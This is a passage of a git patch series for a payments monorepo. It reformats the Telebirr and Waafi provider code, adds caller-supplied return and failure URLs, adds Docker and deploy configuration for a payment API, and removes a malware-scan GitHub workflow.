`Telebirr POST ${url} failed: status=${err.response?.status} body=${JSON.stringify(err.response?.data)} code=${err.code} message=${err.message}`, ); } else { - this.logger.error(`Telebirr POST ${url} threw: ${err instanceof Error ? err.message : err}`); + this.logger.error( + `Telebirr POST ${url} threw: ${err instanceof Error ? err.message : err}`, + ); } throw err; } @@ -289,14 +324,34 @@ export class TelebirrProvider implements PaymentProvider { return rest; } - private get baseUrl(): string { return this.config.get('telebirr.baseUrl') ?? ''; } - private get webBaseUrl(): string { return this.config.get('telebirr.webBaseUrl') ?? ''; } - private get fabricAppId(): string { return this.config.get('telebirr.fabricAppId') ?? ''; } - private get appSecret(): string { return this.config.get('telebirr.appSecret') ?? ''; } - private get merchantAppId(): string { return this.config.get('telebirr.merchantAppId') ?? ''; } - private get merchantCode(): string { return this.config.get('telebirr.merchantCode') ?? ''; } - private get notifyUrl(): string { return this.config.get('telebirr.notifyUrl') ?? ''; } - private get timeoutExpress(): string { return this.config.get('telebirr.timeoutExpress') ?? '15m'; } - private get privateKey(): string { return this.config.get('telebirr.privateKey') ?? ''; } - private get publicKey(): string { return this.config.get('telebirr.publicKey') ?? ''; } + private get baseUrl(): string { + return this.config.get("telebirr.baseUrl") ?? ""; + } + private get webBaseUrl(): string { + return this.config.get("telebirr.webBaseUrl") ?? ""; + } + private get fabricAppId(): string { + return this.config.get("telebirr.fabricAppId") ?? ""; + } + private get appSecret(): string { + return this.config.get("telebirr.appSecret") ?? ""; + } + private get merchantAppId(): string { + return this.config.get("telebirr.merchantAppId") ?? ""; + } + private get merchantCode(): string { + return this.config.get("telebirr.merchantCode") ?? ""; + } + private get notifyUrl(): string { + return this.config.get("telebirr.notifyUrl") ?? ""; + } + private get timeoutExpress(): string { + return this.config.get("telebirr.timeoutExpress") ?? "15m"; + } + private get privateKey(): string { + return this.config.get("telebirr.privateKey") ?? ""; + } + private get publicKey(): string { + return this.config.get("telebirr.publicKey") ?? ""; + } } diff --git a/packages/payment-providers/src/providers/waafi/waafi.provider.ts b/packages/payment-providers/src/providers/waafi/waafi.provider.ts index caabdf251..276ff2de2 100644 --- a/packages/payment-providers/src/providers/waafi/waafi.provider.ts +++ b/packages/payment-providers/src/providers/waafi/waafi.provider.ts @@ -1,6 +1,6 @@ -import { Injectable, Logger } from '@nestjs/common'; -import { ConfigService } from '@nestjs/config'; -import { HttpService } from '@nestjs/axios'; +import { Injectable, Logger } from "@nestjs/common"; +import { ConfigService } from "@nestjs/config"; +import { HttpService } from "@nestjs/axios"; import { PaymentProvider, ProviderInitiationInput, @@ -8,20 +8,20 @@ import { ProviderStatus, ProviderPaymentStatus, ProviderMethod, -} from '@edr/types'; -import { AxiosError, AxiosRequestConfig } from 'axios'; -import { firstValueFrom } from 'rxjs'; -import * as crypto from 'node:crypto'; -import * as https from 'node:https'; +} from "@edr/types"; +import { AxiosError, AxiosRequestConfig } from "axios"; +import { firstValueFrom } from "rxjs"; +import * as crypto from "node:crypto"; +import * as https from "node:https"; import { WaafiGetTranInfoRequest, WaafiGetTranInfoResponse, WaafiHppPurchaseRequest, WaafiHppPurchaseResponse, -} from './waafi.types'; +} from "./waafi.types"; const WAAFI_HTTP_TIMEOUT_MS = 10_000; -const WAAFI_SUCCESS_CODE = '2001'; +const WAAFI_SUCCESS_CODE = "2001"; /** Waafi cancels an unprocessed HPP session after ~5 minutes (RCS_HPP_USERACTION_TIMEOUT). */ const WAAFI_HPP_SESSION_MS = 5 * 60_000; @@ -35,16 +35,18 @@ export class WaafiProvider implements PaymentProvider { private readonly config: ConfigService, private readonly http: HttpService, ) { - const insecure = this.config.get('waafi.insecureTls'); + const insecure = this.config.get("waafi.insecureTls"); if (insecure) { this.logger.warn( - 'WAAFI_INSECURE_TLS=true — TLS verification disabled for Waafi calls. DEV ONLY.', + "WAAFI_INSECURE_TLS=true — TLS verification disabled for Waafi calls. DEV ONLY.", ); } this.httpsAgent = new https.Agent({ rejectUnauthorized: !insecure }); } - async initiate(input: ProviderInitiationInput): Promise { + async initiate( + input: ProviderInitiationInput, + ): Promise { const requestBody = this.buildPurchaseRequest(input); const response = await this.postJson( `${this.baseUrl}/asm`, @@ -57,7 +59,8 @@ export class WaafiProvider implements PaymentProvider { ); } - const checkoutUrl = response.params?.hppUrl ?? response.params?.directPaymentLink; + const checkoutUrl = + response.params?.hppUrl ?? response.params?.directPaymentLink; const orderId = response.params?.orderId; if (!checkoutUrl || !orderId) { throw new Error( @@ -67,7 +70,7 @@ export class WaafiProvider implements PaymentProvider { return { providerOrderId: orderId, - clientAction: { type: 'REDIRECT', url: checkoutUrl }, + clientAction: { type: "REDIRECT", url: checkoutUrl }, expiresAt: new Date(Date.now() + WAAFI_HPP_SESSION_MS), rawInitiation: { request: this.sanitize(requestBody), @@ -91,7 +94,9 @@ export class WaafiProvider implements PaymentProvider { status: mapped, providerTxnId: transactionId, failureCode: - mapped === ProviderPaymentStatus.FAILED && rawState ? rawState : undefined, + mapped === ProviderPaymentStatus.FAILED && rawState + ? rawState + : undefined, rawResponse: response as unknown as Record, }; } @@ -115,61 +120,70 @@ export class WaafiProvider implements PaymentProvider { eventId: string | undefined, ): boolean { if (!this.webhookSecret) { - this.logger.error('WAAFI_WEBHOOK_SECRET not configured; rejecting all webhooks'); + this.logger.error( + "WAAFI_WEBHOOK_SECRET not configured; rejecting all webhooks", + ); return false; } if (!signature || !timestamp || !eventId) { - this.logger.warn('Waafi webhook missing signature/timestamp/event-id headers'); + this.logger.warn( + "Waafi webhook missing signature/timestamp/event-id headers", + ); return false; } const signingString = `${timestamp}.${eventId}.${rawBody}`; const expected = crypto - .createHmac('sha256', this.webhookSecret) + .createHmac("sha256", this.webhookSecret) .update(signingString) - .digest('hex'); + .digest("hex"); - const provided = Buffer.from(signature, 'utf8'); - const computed = Buffer.from(expected, 'utf8'); + const provided = Buffer.from(signature, "utf8"); + const computed = Buffer.from(expected, "utf8"); if (provided.length !== computed.length) return false; return crypto.timingSafeEqual(provided, computed); } private mapStatus(raw: string | undefined): ProviderPaymentStatus { switch (raw?.toUpperCase()) { - case 'APPROVED': - case 'SUCCESS': + case "APPROVED": + case "SUCCESS": return ProviderPaymentStatus.SUCCEEDED; - case 'CANCELED': - case 'CANCELLED': + case "CANCELED": + case "CANCELLED": return ProviderPaymentStatus.CANCELLED; - case 'DECLINED': - case 'FAILED': - case 'EXPIRED': - case 'TIMEOUT': + case "DECLINED": + case "FAILED": + case "EXPIRED": + case "TIMEOUT": return ProviderPaymentStatus.FAILED; - case 'PENDING': - case 'INITIATED': + case "PENDING": + case "INITIATED": return ProviderPaymentStatus.REQUIRES_ACTION; default: return ProviderPaymentStatus.PROCESSING; } } - private buildPurchaseRequest(input: ProviderInitiationInput): WaafiHppPurchaseRequest { + private buildPurchaseRequest( + input: ProviderInitiationInput, + ): WaafiHppPurchaseRequest { return { - schemaVersion: '1.0', + schemaVersion: "1.0", requestId: crypto.randomUUID(), timestamp: this.timestamp(), - channelName: 'WEB', - serviceName: 'HPP_PURCHASE', + channelName: "WEB", + serviceName: "HPP_PURCHASE", serviceParams: { merchantUid: this.merchantUid, storeId: this.storeId, hppKey: this.hppKey, paymentMethod: this.paymentMethod, - hppSuccessCallbackUrl: this.successUrl, - hppFailureCallbackUrl: this.failureUrl, + // Browser bounce-back is per-transaction (each calling app has its own UI), so the + // caller-supplied URLs win; the static config is only a fallback. UX-only — the + // webhook remains the single source of truth for payment state. + hppSuccessCallbackUrl: input.returnUrl ?? this.successUrl, + hppFailureCallbackUrl: input.failureUrl ?? this.failureUrl, hppRespDataFormat: this.respDataFormat, // MWALLET_ACCOUNT requires the payer phone up front; omit if the caller did not supply it // and let the hosted page collect it. See docs/waffi open question on payer-phone sourcing. @@ -187,13 +201,15 @@ export class WaafiProvider implements PaymentProvider { }; } - private buildGetTranInfoRequest(merchantOrderId: string): WaafiGetTranInfoRequest { + private buildGetTranInfoRequest( + merchantOrderId: string, + ): WaafiGetTranInfoRequest { return { - schemaVersion: '1.0', + schemaVersion: "1.0", requestId: crypto.randomUUID(), timestamp: this.timestamp(), - channelName: 'WEB', - serviceName: 'HPP_GETTRANINFO', + channelName: "WEB", + serviceName: "HPP_GETTRANINFO", serviceParams: { merchantUid: this.merchantUid, storeId: this.storeId, @@ -214,7 +230,7 @@ export class WaafiProvider implements PaymentProvider { private async postJson(url: string, body: unknown): Promise { const config: AxiosRequestConfig = { - headers: { 'Content-Type': 'application/json' }, + headers: { "Content-Type": "application/json" }, timeout: WAAFI_HTTP_TIMEOUT_MS, httpsAgent: this.httpsAgent, }; @@ -243,38 +259,40 @@ export class WaafiProvider implements PaymentProvider { private sanitize(body: WaafiHppPurchaseRequest): Record { return { ...body, - serviceParams: { ...body.serviceParams, hppKey: '***REDACTED***' }, + serviceParams: { ...body.serviceParams, hppKey: "***REDACTED***" }, }; } private get baseUrl(): string { - return this.config.get('waafi.baseUrl') ?? 'https://sandbox.waafipay.net'; + return ( + this.config.get("waafi.baseUrl") ?? "https://sandbox.waafipay.net" + ); } private get merchantUid(): string { - return this.config.get('waafi.merchantUid') ?? ''; + return this.config.get("waafi.merchantUid") ?? ""; } private get storeId(): string { - return this.config.get('waafi.storeId') ?? ''; + return this.config.get("waafi.storeId") ?? ""; } private get hppKey(): string { - return this.config.get('waafi.hppKey') ?? ''; + return this.config.get("waafi.hppKey") ?? ""; } private get webhookSecret(): string { - return this.config.get('waafi.webhookSecret') ?? ''; + return this.config.get("waafi.webhookSecret") ?? ""; } private get paymentMethod(): string { - return this.config.get('waafi.paymentMethod') ?? 'MWALLET_ACCOUNT'; + return this.config.get("waafi.paymentMethod") ?? "MWALLET_ACCOUNT"; } private get currency(): string { - return this.config.get('waafi.currency') ?? ''; + return this.config.get("waafi.currency") ?? ""; } private get successUrl(): string { - return this.config.get('waafi.successUrl') ?? ''; + return this.config.get("waafi.successUrl") ?? ""; } private get failureUrl(): string { - return this.config.get('waafi.failureUrl') ?? ''; + return this.config.get("waafi.failureUrl") ?? ""; } private get respDataFormat(): number { - return this.config.get('waafi.respDataFormat') ?? 1; + return this.config.get("waafi.respDataFormat") ?? 1; } } diff --git a/packages/types/src/common/payments.ts b/packages/types/src/common/payments.ts index 0cf2174c3..02930d151 100644 --- a/packages/types/src/common/payments.ts +++ b/packages/types/src/common/payments.ts @@ -52,6 +52,8 @@ export interface ProviderInitiationInput { /** Optional caller-supplied redirect targets for redirect/HPP-style providers. */ returnUrl?: string; redirectUrl?: string; + /** Where the browser lands when the hosted page fails/cancels (UX only — never trusted). */ + failureUrl?: string; } export interface ProviderInitiationResult { @@ -94,11 +96,6 @@ export enum PaymentReferenceType { SHIPMENT = "SHIPMENT", } -/** `merchant_order_id` prefix per owning service — lets a webhook be routed before a DB lookup. */ -export const MERCHANT_ORDER_PREFIX: Record = { - [PaymentService.PASSENGER]: "PSG-", - [PaymentService.FREIGHT]: "FRT-", -}; /** Body of `POST /payments/initiate` on the payment service (internal, service-authenticated). */ export interface InitiatePaymentRequest { @@ -114,6 +111,16 @@ export interface InitiatePaymentRequest { provider: ProviderMethod; platform?: PaymentPlatform; payerAccount?: string; + /** + * Where the provider's hosted page sends the BROWSER back after success — each calling app + * passes its own UI URL (passenger portal vs freight portal). Per-transaction and UX-only: + * the redirect never confirms payment (only the webhook / status query does), so per-app + * values are safe even though the server-to-server webhook URL is one per merchant. + * Falls back to the payment service's provider config when omitted. + */ + returnUrl?: string; + /** Failure/cancel counterpart of returnUrl. */ + failureUrl?: string; /** Optional caller key to dedupe retried initiations beyond the per-reference upsert. */ idempotencyKey?: string; } diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 3d4aa9a32..b6771011e 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -392,9 +392,6 @@ importers: apps/edr-passenger-api: dependencies: - '@edr/payment-providers': - specifier: workspace:* - version: link:../../packages/payment-providers '@edr/types': specifier: workspace:* version: link:../../packages/types From fa6233923ca71b42e7721e2bf861b9825912ca47 Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Fri, 12 Jun 2026 12:20:05 +0300 Subject: [PATCH 17/31] Update internal-payments.dto.ts --- .../src/modules/payments/internal-payments.dto.ts | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/apps/edr-passenger-api/src/modules/payments/internal-payments.dto.ts b/apps/edr-passenger-api/src/modules/payments/internal-payments.dto.ts index ce421f78a..7f732ae51 100644 --- a/apps/edr-passenger-api/src/modules/payments/internal-payments.dto.ts +++ b/apps/edr-passenger-api/src/modules/payments/internal-payments.dto.ts @@ -30,17 +30,17 @@ export class PaymentEventDto { @ApiProperty() @IsISO8601() occurredAt!: string; @ApiProperty({ enum: PaymentService }) @IsEnum(PaymentService) - service!: PaymentService; + service!: string; @ApiProperty() @IsUUID() intentId!: string; @ApiProperty({ enum: PaymentReferenceType }) @IsEnum(PaymentReferenceType) - referenceType!: PaymentReferenceType; + referenceType!: string; @ApiProperty() @IsString() referenceId!: string; @ApiProperty() @IsString() merchantOrderId!: string; @ApiProperty({ enum: ProviderMethod }) @IsEnum(ProviderMethod) - provider!: ProviderMethod; + provider!: string; @ApiProperty() @IsInt() @IsPositive() amountMinor!: number; @ApiProperty() @IsString() currency!: string; From bc18b8bfd7755ab2ef77b1b40b8e024f4ce6b77a Mon Sep 17 00:00:00 2001 From: Yonas Tewabe Date: Fri, 12 Jun 2026 12:54:01 +0300 Subject: [PATCH 18/31] Add Dockerfile for EDR Payment API --- apps/edr-payment-api/Dockerfile | 37 +++++++++++++++++++++++++++++++++ 1 file changed, 37 insertions(+) create mode 100644 apps/edr-payment-api/Dockerfile diff --git a/apps/edr-payment-api/Dockerfile b/apps/edr-payment-api/Dockerfile new file mode 100644 index 000000000..b69c0eecd --- /dev/null +++ b/apps/edr-payment-api/Dockerfile @@ -0,0 +1,37 @@ +# syntax=docker/dockerfile:1 +# Build from monorepo root: docker build -f apps/edr-freight-api/Dockerfile . + +FROM node:24.15.0-alpine AS base +RUN apk add --no-cache libc6-compat +RUN corepack enable +WORKDIR /app + +FROM base AS pruner +COPY . . +RUN pnpm dlx turbo prune "@edr/payment" --docker + +FROM base AS installer +COPY --from=pruner /app/out/json/ . +COPY --from=pruner /app/out/pnpm-lock.yaml ./pnpm-lock.yaml +RUN --mount=type=secret,id=npmrc,target=./.npmrc,required=false \ + pnpm install --frozen-lockfile + +FROM base AS builder +COPY --from=installer /app/ . +COPY --from=pruner /app/out/full/ . +RUN pnpm turbo build --filter="@edr/payement..." + +FROM base AS deployer +COPY --from=builder /app/ . +RUN pnpm deploy --filter="@edr/payment" --prod --legacy /deploy + +FROM node:24.15.0-alpine AS runner +RUN apk add --no-cache libc6-compat +ENV NODE_ENV=production +WORKDIR /app +RUN addgroup --system --gid 1001 nodejs \ + && adduser --system --uid 1001 --ingroup nodejs nestjs +COPY --from=deployer --chown=nestjs:nodejs /deploy . +USER nestjs +EXPOSE 3008 +CMD ["node", "dist/main.js"] From f6647eb02e1ff13b4ee2f85224cc39820bcc615d Mon Sep 17 00:00:00 2001 From: Yonas Tewabe Date: Fri, 12 Jun 2026 12:59:47 +0300 Subject: [PATCH 19/31] Update Dockerfile --- apps/edr-payment-api/Dockerfile | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/apps/edr-payment-api/Dockerfile b/apps/edr-payment-api/Dockerfile index b69c0eecd..dafa278bd 100644 --- a/apps/edr-payment-api/Dockerfile +++ b/apps/edr-payment-api/Dockerfile @@ -8,7 +8,7 @@ WORKDIR /app FROM base AS pruner COPY . . -RUN pnpm dlx turbo prune "@edr/payment" --docker +RUN pnpm dlx turbo prune "@edr/payment-api" --docker FROM base AS installer COPY --from=pruner /app/out/json/ . @@ -19,11 +19,11 @@ RUN --mount=type=secret,id=npmrc,target=./.npmrc,required=false \ FROM base AS builder COPY --from=installer /app/ . COPY --from=pruner /app/out/full/ . -RUN pnpm turbo build --filter="@edr/payement..." +RUN pnpm turbo build --filter="@edr/payement-api..." FROM base AS deployer COPY --from=builder /app/ . -RUN pnpm deploy --filter="@edr/payment" --prod --legacy /deploy +RUN pnpm deploy --filter="@edr/payment-api" --prod --legacy /deploy FROM node:24.15.0-alpine AS runner RUN apk add --no-cache libc6-compat From 4e5afcbf72b210bc28f31f2db0e77813f3ada611 Mon Sep 17 00:00:00 2001 From: Yonas Tewabe Date: Fri, 12 Jun 2026 13:00:15 +0300 Subject: [PATCH 20/31] Update docker-compose.yaml --- docker-compose.yaml | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/docker-compose.yaml b/docker-compose.yaml index 4e5eb4ab0..1bbcd9515 100644 --- a/docker-compose.yaml +++ b/docker-compose.yaml @@ -83,6 +83,20 @@ services: env_file: - apps/edr-passenger-web/backoffice/.env + payment-api: + build: + context: . + dockerfile: apps/edr-payment-api/Dockerfile + args: + APP_PACKAGE: "@edr/payment-api" + APP_PATH: apps/edr-payment-api + secrets: + - npmrc + ports: + - "${PAYMENT_API_PORT:-3008}:${PAYMENT_API_PORT:-3008}" + env_file: + - apps/edr-payment-api/.env + secrets: npmrc: file: .npmrc From e917b02467791ff5eb147b080029fa7434bdddcd Mon Sep 17 00:00:00 2001 From: Yonas Tewabe Date: Fri, 12 Jun 2026 13:00:43 +0300 Subject: [PATCH 21/31] Delete .github/workflows/malware-scan.yml --- .github/workflows/malware-scan.yml | 241 ----------------------------- 1 file changed, 241 deletions(-) delete mode 100644 .github/workflows/malware-scan.yml diff --git a/.github/workflows/malware-scan.yml b/.github/workflows/malware-scan.yml deleted file mode 100644 index 8e05957ae..000000000 --- a/.github/workflows/malware-scan.yml +++ /dev/null @@ -1,241 +0,0 @@ -name: Malware & Obfuscation Scan - -on: - push: - branches: ["**"] - pull_request: - branches: ["**"] - # Allow manual triggering for ad-hoc full scans - workflow_dispatch: - inputs: - scan_path: - description: "Sub-directory to scan (leave blank for full repo)" - required: false - default: "." - -# Prevent concurrent scans on the same ref from stepping on each other -concurrency: - group: malware-scan-${{ github.ref }} - cancel-in-progress: true - -permissions: - contents: read - # Needed if you later add GitHub Code Scanning / SARIF upload - security-events: write - -jobs: - malware-scan: - name: Scan for malicious / obfuscated code - runs-on: self-hosted - timeout-minutes: 15 - - steps: - # ── 1. Checkout ──────────────────────────────────────────────────────── - - name: Checkout repository - uses: actions/checkout@v4 - with: - # Full history lets the scanner see every file, not just the diff. - # For very large repos you can set fetch-depth: 1 to speed things up, - # but you may miss injected files in unchanged paths. - fetch-depth: 0 - - # ── 2. Setup Node ────────────────────────────────────────────────────── - - name: Set up Node.js - uses: actions/setup-node@v4 - with: - node-version: "20" - - # ── 3. Install scanner ───────────────────────────────────────────────── - # The scanner is pure Node.js stdlib — no npm install needed. - # We just copy the script into a known location inside the runner. - - name: Install scanner script - run: | - mkdir -p "$RUNNER_TOOL_CACHE/malware-scanner" - cp .github/scripts/scan-malware.js \ - "$RUNNER_TOOL_CACHE/malware-scanner/scan-malware.js" - chmod +x "$RUNNER_TOOL_CACHE/malware-scanner/scan-malware.js" - - # ── 4. Run the scanner ───────────────────────────────────────────────── - - name: Run malware scanner - id: scan - env: - SCAN_JSON_OUT: ${{ runner.temp }}/scan-results.json - run: | - SCAN_PATH="${{ github.event.inputs.scan_path || '.' }}" - echo "Scanning path: $SCAN_PATH" - echo "────────────────────────────────────────" - - node "$RUNNER_TOOL_CACHE/malware-scanner/scan-malware.js" "$SCAN_PATH" - # The script exits 0 (clean), 1 (threats found), or 2 (internal error). - # We want the step to "succeed" so the upload-artifact step always runs, - # but we'll fail the job in the gate step below. - continue-on-error: true - - # ── 5. Upload JSON report as artifact (always, even on failure) ──────── - # Retained so the full per-file, per-rule detail is always downloadable. - # The Telegram message below links directly to the Actions run where - # this artifact appears. - - name: Upload scan report artifact - if: always() - uses: actions/upload-artifact@v4 - with: - name: malware-scan-report-${{ github.sha }} - path: ${{ runner.temp }}/scan-results.json - retention-days: 90 - if-no-files-found: ignore - - # ── 6. Send Telegram notification (always, even on failure) ────────────── - # Requires two repository secrets: - # TELEGRAM_BOT_TOKEN — from @BotFather (format: 123456:ABC-xxx) - # TELEGRAM_CHAT_ID — target chat/channel ID (format: -100xxxxxxxxxx) - # - # Intentionally short — plain HTML mode, no code spans, no snippets. - # All special characters that would break MarkdownV2 are avoided entirely. - # Full details are in the artifact linked via the Actions run URL. - - name: Send Telegram notification - if: always() - env: - TELEGRAM_BOT_TOKEN: ${{ secrets.TELEGRAM_BOT_TOKEN }} - TELEGRAM_CHAT_ID: ${{ secrets.TELEGRAM_CHAT_ID }} - SCAN_JSON: ${{ runner.temp }}/scan-results.json - GH_REPO: ${{ github.repository }} - GH_SHA: ${{ github.sha }} - GH_REF: ${{ github.ref_name }} - GH_ACTOR: ${{ github.actor }} - GH_RUN_URL: ${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }} - run: | - node - << 'EOF' - const fs = require('fs'); - const https = require('https'); - - const token = process.env.TELEGRAM_BOT_TOKEN; - const chatId = process.env.TELEGRAM_CHAT_ID; - const repo = process.env.GH_REPO; - const sha = process.env.GH_SHA.slice(0, 7); - const ref = process.env.GH_REF; - const actor = process.env.GH_ACTOR; - const runUrl = process.env.GH_RUN_URL; - - // HTML-escape only the four characters HTML cares about. - // Using HTML parse_mode means code snippets, file paths, and rule IDs - // with special characters can never break the parser. - const h = s => String(s) - .replace(/&/g, '&') - .replace(//g, '>') - .replace(/"/g, '"'); - - let findings = []; - try { - findings = JSON.parse(fs.readFileSync(process.env.SCAN_JSON, 'utf8')); - } catch { /* missing file = clean run or scanner error */ } - - const counts = { CRITICAL: 0, HIGH: 0, MEDIUM: 0, LOW: 0 }; - for (const f of findings) counts[f.severity] = (counts[f.severity] || 0) + 1; - - const isClean = findings.length === 0; - - // ── Unique affected files ────────────────────────────────────────── - const affectedFiles = [...new Set(findings.map(f => f.file))]; - - // ── Build a short, fixed-size message ───────────────────────────── - // No snippets, no descriptions — just counts, affected files, and a - // direct link to the artifact. Stays well under 500 chars. - let lines = []; - - if (isClean) { - lines.push('✅ Malware Scan — Clean'); - } else { - lines.push('🚨 Malware Scan — THREATS DETECTED'); - } - - lines.push(''); - lines.push(`Repo: ${h(repo)}`); - lines.push(`Branch: ${h(ref)} Commit: ${h(sha)}`); - lines.push(`Actor: ${h(actor)}`); - - if (!isClean) { - lines.push(''); - lines.push( - `Findings: ` + - `🔴 ${counts.CRITICAL} CRITICAL ` + - `🟠 ${counts.HIGH} HIGH ` + - `🟡 ${counts.MEDIUM} MEDIUM ` + - `⚪ ${counts.LOW} LOW` - ); - lines.push(''); - lines.push(`Affected files (${affectedFiles.length}):`); - // Cap at 10 files to keep the message short - const shown = affectedFiles.slice(0, 10); - for (const f of shown) lines.push(` • ${h(f)}`); - if (affectedFiles.length > 10) { - lines.push(` • … and ${affectedFiles.length - 10} more`); - } - } - - lines.push(''); - lines.push(`📋 View full run & download report artifact`); - - const text = lines.join('\n'); - - // ── Send via Bot API (HTML parse mode) ──────────────────────────── - const body = JSON.stringify({ - chat_id: chatId, - text, - parse_mode: 'HTML', - disable_web_page_preview: true, - }); - - const options = { - hostname: 'api.telegram.org', - path: `/bot${token}/sendMessage`, - method: 'POST', - headers: { - 'Content-Type': 'application/json', - 'Content-Length': Buffer.byteLength(body), - }, - }; - - const req = https.request(options, res => { - let data = ''; - res.on('data', chunk => data += chunk); - res.on('end', () => { - const parsed = JSON.parse(data); - if (!parsed.ok) { - console.error('Telegram API error:', JSON.stringify(parsed)); - process.exit(1); - } - console.log('Telegram notification sent successfully.'); - }); - }); - req.on('error', err => { - console.error('Request failed:', err.message); - process.exit(1); - }); - req.write(body); - req.end(); - EOF - - # ── 7. Gate — fail the workflow if threats were found ────────────────── - # Runs after the Telegram step so the alert always fires first. - - name: Fail workflow if threats detected - if: steps.scan.outcome == 'failure' - run: | - echo "::error::⛔ Malicious or highly-suspicious code patterns were detected." - echo "::error::Check your Telegram channel for the summary." - echo "::error::Download the 'malware-scan-report' artifact for full details." - echo "::error::Do NOT merge or deploy this branch until findings are reviewed." - exit 1 - - # ── 7. (Optional) Diff-only scan on PRs for faster feedback ─────────── - # Uncomment this block if you want a second, faster pass that only - # checks the files changed in the PR diff. - # - # - name: Diff-only scan (PR only) - # if: github.event_name == 'pull_request' - # env: - # SCAN_JSON_OUT: ${{ runner.temp }}/scan-results-diff.json - # run: | - # git diff --name-only origin/${{ github.base_ref }}...HEAD \ - # | grep -E '\.(js|cjs|mjs|ts|tsx|jsx)$' \ - # | xargs -I{} node "$RUNNER_TOOL_CACHE/malware-scanner/scan-malware.js" {} From 7a4056a450a1bb846bce84457ea030594f8f2c9d Mon Sep 17 00:00:00 2001 From: Yonas Tewabe Date: Fri, 12 Jun 2026 13:01:44 +0300 Subject: [PATCH 22/31] Update deploy.yml --- .github/workflows/deploy.yml | 3 +++ 1 file changed, 3 insertions(+) diff --git a/.github/workflows/deploy.yml b/.github/workflows/deploy.yml index a66063ce1..e46409ba6 100644 --- a/.github/workflows/deploy.yml +++ b/.github/workflows/deploy.yml @@ -38,6 +38,9 @@ jobs: - project: edr-passenger build_env_file: passenger-web.build.env service: passenger-backoffice + - project: edr-payment + build_env_file: payment-web.build.env + service: payment-api env: PROJECT: ${{ matrix.project }} BRANCH: ${{ github.ref_name }} From 6635b19d8428f5a789bbba5325af2096cfca360a Mon Sep 17 00:00:00 2001 From: Yonas Tewabe Date: Fri, 12 Jun 2026 13:05:44 +0300 Subject: [PATCH 23/31] Update sync-env-from-server.sh --- scripts/deploy/sync-env-from-server.sh | 1 + 1 file changed, 1 insertion(+) diff --git a/scripts/deploy/sync-env-from-server.sh b/scripts/deploy/sync-env-from-server.sh index ca3ad1cc9..802793b6e 100644 --- a/scripts/deploy/sync-env-from-server.sh +++ b/scripts/deploy/sync-env-from-server.sh @@ -30,6 +30,7 @@ declare -A SERVICE_ENV_TARGET=( ["passenger-api"]="apps/edr-passenger-api/.env" ["passenger-portal"]="apps/edr-passenger-web/portal/.env" ["passenger-backoffice"]="apps/edr-passenger-web/backoffice/.env" + ["payment-api"]="apps/edr-payment-api/.env" ) for service in "$@"; do From be7d54d87896f4e07c9f146b0258d9bedf516629 Mon Sep 17 00:00:00 2001 From: Yonas Tewabe Date: Fri, 12 Jun 2026 13:31:28 +0300 Subject: [PATCH 24/31] Update Dockerfile --- apps/edr-payment-api/Dockerfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/apps/edr-payment-api/Dockerfile b/apps/edr-payment-api/Dockerfile index dafa278bd..5e1551185 100644 --- a/apps/edr-payment-api/Dockerfile +++ b/apps/edr-payment-api/Dockerfile @@ -19,7 +19,7 @@ RUN --mount=type=secret,id=npmrc,target=./.npmrc,required=false \ FROM base AS builder COPY --from=installer /app/ . COPY --from=pruner /app/out/full/ . -RUN pnpm turbo build --filter="@edr/payement-api..." +RUN pnpm turbo build --filter="@edr/payment-api..." FROM base AS deployer COPY --from=builder /app/ . From 4b4e37a21b246849b33ecd6aa9c870537acff4f8 Mon Sep 17 00:00:00 2001 From: Yonas Tewabe Date: Fri, 12 Jun 2026 13:45:29 +0300 Subject: [PATCH 25/31] Create docker-entrypoint.sh --- apps/edr-payment-api/docker-entrypoint.sh | 9 +++++++++ 1 file changed, 9 insertions(+) create mode 100644 apps/edr-payment-api/docker-entrypoint.sh diff --git a/apps/edr-payment-api/docker-entrypoint.sh b/apps/edr-payment-api/docker-entrypoint.sh new file mode 100644 index 000000000..aff161a87 --- /dev/null +++ b/apps/edr-payment-api/docker-entrypoint.sh @@ -0,0 +1,9 @@ +#!/bin/sh +set -e + +cd /app + +# npm run executes the same package.json scripts as pnpm run (pnpm reinstalls in deploy layout) +npm run migration:run + +exec "$@" From 88197d19f348dab22a56ca4ab24c4cb9fe093478 Mon Sep 17 00:00:00 2001 From: Yonas Tewabe Date: Fri, 12 Jun 2026 13:45:45 +0300 Subject: [PATCH 26/31] Update Dockerfile --- apps/edr-payment-api/Dockerfile | 1 + 1 file changed, 1 insertion(+) diff --git a/apps/edr-payment-api/Dockerfile b/apps/edr-payment-api/Dockerfile index 5e1551185..bd7064de8 100644 --- a/apps/edr-payment-api/Dockerfile +++ b/apps/edr-payment-api/Dockerfile @@ -34,4 +34,5 @@ RUN addgroup --system --gid 1001 nodejs \ COPY --from=deployer --chown=nestjs:nodejs /deploy . USER nestjs EXPOSE 3008 +ENTRYPOINT ["/docker-entrypoint.sh"] CMD ["node", "dist/main.js"] From 3e4ea6518404391652c70bc422ccf324db7fda17 Mon Sep 17 00:00:00 2001 From: Yonas Tewabe Date: Fri, 12 Jun 2026 13:56:36 +0300 Subject: [PATCH 27/31] Update Dockerfile --- apps/edr-payment-api/Dockerfile | 3 +++ 1 file changed, 3 insertions(+) diff --git a/apps/edr-payment-api/Dockerfile b/apps/edr-payment-api/Dockerfile index bd7064de8..39a443f8f 100644 --- a/apps/edr-payment-api/Dockerfile +++ b/apps/edr-payment-api/Dockerfile @@ -32,6 +32,9 @@ WORKDIR /app RUN addgroup --system --gid 1001 nodejs \ && adduser --system --uid 1001 --ingroup nodejs nestjs COPY --from=deployer --chown=nestjs:nodejs /deploy . +COPY apps/edr-passenger-api/docker-entrypoint.sh /docker-entrypoint.sh +RUN chmod +x /docker-entrypoint.sh \ + && chown -R nestjs:nodejs /app USER nestjs EXPOSE 3008 ENTRYPOINT ["/docker-entrypoint.sh"] From a2eb9a8c73aca0a65f6ad37dbd83e41c79ece8ba Mon Sep 17 00:00:00 2001 From: Yonas Tewabe Date: Fri, 12 Jun 2026 14:00:14 +0300 Subject: [PATCH 28/31] Update package.json --- apps/edr-payment-api/package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git 